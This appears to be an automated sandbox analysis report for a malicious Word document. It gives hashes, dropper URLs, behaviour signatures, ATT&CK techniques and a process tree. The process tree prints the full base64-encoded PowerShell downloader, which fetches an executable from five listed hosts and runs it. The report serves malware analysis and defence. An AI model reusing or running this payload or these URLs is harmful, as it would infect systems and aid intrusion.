b125f728606a734549dfc8145d64725109c9376445845c6ceb5cf2c5d65e77af

General

Target

b125f728606a734549dfc8145d64725109c9376445845c6ceb5cf2c5d65e77af.doc
Size

115KB
MD5

98521917f7bf7bc35e47153473ba0400
SHA1

a8a030ec5d992a1e9f022c75f904feae6d8d6199
SHA256

b125f728606a734549dfc8145d64725109c9376445845c6ceb5cf2c5d65e77af
SHA512

550f1fe8ded1d2be815555c56d97daccac1af136c4e73d09443f3156ac60ef0aa26efef49626b724fe31182da413ca43dcd99c217d51987f62c44bbf2fc5df76

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://blog.laviajeria.com/wp-content/uploads/bsANkVbt/

exe.dropper

http://soprofissional.com.br/moodle/AmMwSGECn/

exe.dropper

http://brkcakiroglu.com/wp/wl3z8af_3urbpa-13949/

exe.dropper

http://trainingenterprise.com.mx/wp/un7i_igf5j-005504691/

exe.dropper

http://mothershelpers.net/wp/OaQzFVJN/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4852	4824	powershell.exe	43

Blocklisted process makes network request 4 IoCs

flow	pid	Process
16	4852	powershell.exe
18	4852	powershell.exe
20	4852	powershell.exe
23	4852	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4888	WINWORD.EXE
4888	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4852	powershell.exe
4852	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4852	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4888	WINWORD.EXE
4888	WINWORD.EXE

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
4888	WINWORD.EXE
4888	WINWORD.EXE
4888	WINWORD.EXE
4888	WINWORD.EXE
4888	WINWORD.EXE
4888	WINWORD.EXE
4888	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4888 wrote to memory of 4076	4888	WINWORD.EXE	77
PID 4888 wrote to memory of 4076	4888	WINWORD.EXE	77

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\b125f728606a734549dfc8145d64725109c9376445845c6ceb5cf2c5d65e77af.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4888
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:4076

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -nop -e JABtADgAbgAyAGkAWgBXAD0AJwB3ADkARQBDAEIAbgBQAEYAJwA7ACQAVwB3AG8ANQBkAHoAQgAgAD0AIAAnADkAMAA1ACcAOwAkAHoAagBJAFMAZgBfAHoAPQAnAFkAWQBVAG8AdwB6AEQAbwAnADsAJABPAGsAZABpAHUAZAA3ADUAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFcAdwBvADUAZAB6AEIAKwAnAC4AZQB4AGUAJwA7ACQASABZADkARQA5ADgAYwBZAD0AJwBoAFgANABPADEAaQAnADsAJABHAFQAMABTAGsAbgBoAHEAPQAuACgAJwBuACcAKwAnAGUAJwArACcAdwAtAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAE4ARQBgAFQALgB3AGUAYABCAGMATABgAGkAZQBgAE4AdAA7ACQASABkAGkAQwBNAEMAPQAnAGgAdAB0AHAAOgAvAC8AYgBsAG8AZwAuAGwAYQB2AGkAYQBqAGUAcgBpAGEALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB1AHAAbABvAGEAZABzAC8AYgBzAEEATgBrAFYAYgB0AC8AQABoAHQAdABwADoALwAvAHMAbwBwAHIAbwBmAGkAcwBzAGkAbwBuAGEAbAAuAGMAbwBtAC4AYgByAC8AbQBvAG8AZABsAGUALwBBAG0ATQB3AFMARwBFAEMAbgAvAEAAaAB0AHQAcAA6AC8ALwBiAHIAawBjAGEAawBpAHIAbwBnAGwAdQAuAGMAbwBtAC8AdwBwAC8AdwBsADMAegA4AGEAZgBfADMAdQByAGIAcABhAC0AMQAzADkANAA5AC8AQABoAHQAdABwADoALwAvAHQAcgBhAGkAbgBpAG4AZwBlAG4AdABlAHIAcAByAGkAcwBlAC4AYwBvAG0ALgBtAHgALwB3AHAALwB1AG4ANwBpAF8AaQBnAGYANQBqAC0AMAAwADUANQAwADQANgA5ADEALwBAAGgAdAB0AHAAOgAvAC8AbQBvAHQAaABlAHIAcwBoAGUAbABwAGUAcgBzAC4AbgBlAHQALwB3AHAALwBPAGEAUQB6AEYAVgBKAE4ALwAnAC4AcwBwAEwASQBUACgAJwBAACcAKQA7ACQAUgBWAGoAbABCAGkAWABoAD0AJwBOAE0AawBtAFYAXwBvACcAOwBmAG8AcgBlAGEAYwBoACgAJAB3ADIANwBMAFcANQBRACAAaQBuACAAJABIAGQAaQBDAE0AQwApAHsAdAByAHkAewAkAEcAVAAwAFMAawBuAGgAcQAuAGQAbwB3AE4AbABPAGEAZABGAEkAbABFACgAJAB3ADIANwBMAFcANQBRACwAIAAkAE8AawBkAGkAdQBkADcANQApADsAJABaAEsAVgBEAG0ARAA9ACcARQBqAEcAdwBTAG8AJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtAEkAJwArACcAdABlAG0AJwApACAAJABPAGsAZABpAHUAZAA3ADUAKQAuAEwARQBuAGcAdABoACAALQBnAGUAIAAyADQAOAA2ADAAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAVABhAHIAdAAoACQATwBrAGQAaQB1AGQANwA1ACkAOwAkAFMAaQBXAGEAcgBhAFUAPQAnAGQAYgBEAEMANQBsACcAOwBiAHIAZQBhAGsAOwAkAGsAbwBfAFMAOQBoAHMAPQAnAEIAaABtADAAaQBWACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAGoARwBxAG0AegB1AEIAQQA9ACcAdQBQAEQAbgBmAEEAMQAnAA==
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4852

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/4852-143-0x00007FFBCB7C0000-0x00007FFBCC281000-memory.dmp

Filesize
10.8MB

Download
memory/4852-142-0x00007FFBCB7C0000-0x00007FFBCC281000-memory.dmp

Filesize
10.8MB

Download
memory/4852-141-0x0000019340960000-0x0000019340982000-memory.dmp

Filesize
136KB

Download
memory/4888-140-0x000001D3538D0000-0x000001D3538D4000-memory.dmp

Filesize
16KB

Download
memory/4888-137-0x00007FFBB4690000-0x00007FFBB46A0000-memory.dmp

Filesize
64KB

Download
memory/4888-138-0x00007FFBB4690000-0x00007FFBB46A0000-memory.dmp

Filesize
64KB

Download
memory/4888-136-0x00007FFBB68F0000-0x00007FFBB6900000-memory.dmp

Filesize
64KB

Download
memory/4888-132-0x00007FFBB68F0000-0x00007FFBB6900000-memory.dmp

Filesize
64KB

Download
memory/4888-135-0x00007FFBB68F0000-0x00007FFBB6900000-memory.dmp

Filesize
64KB

Download
memory/4888-134-0x00007FFBB68F0000-0x00007FFBB6900000-memory.dmp

Filesize
64KB

Download
memory/4888-133-0x00007FFBB68F0000-0x00007FFBB6900000-memory.dmp

Filesize
64KB

Download
memory/4888-145-0x00007FFBB68F0000-0x00007FFBB6900000-memory.dmp

Filesize
64KB

Download
memory/4888-146-0x00007FFBB68F0000-0x00007FFBB6900000-memory.dmp

Filesize
64KB

Download
memory/4888-147-0x00007FFBB68F0000-0x00007FFBB6900000-memory.dmp

Filesize
64KB

Download
memory/4888-148-0x00007FFBB68F0000-0x00007FFBB6900000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads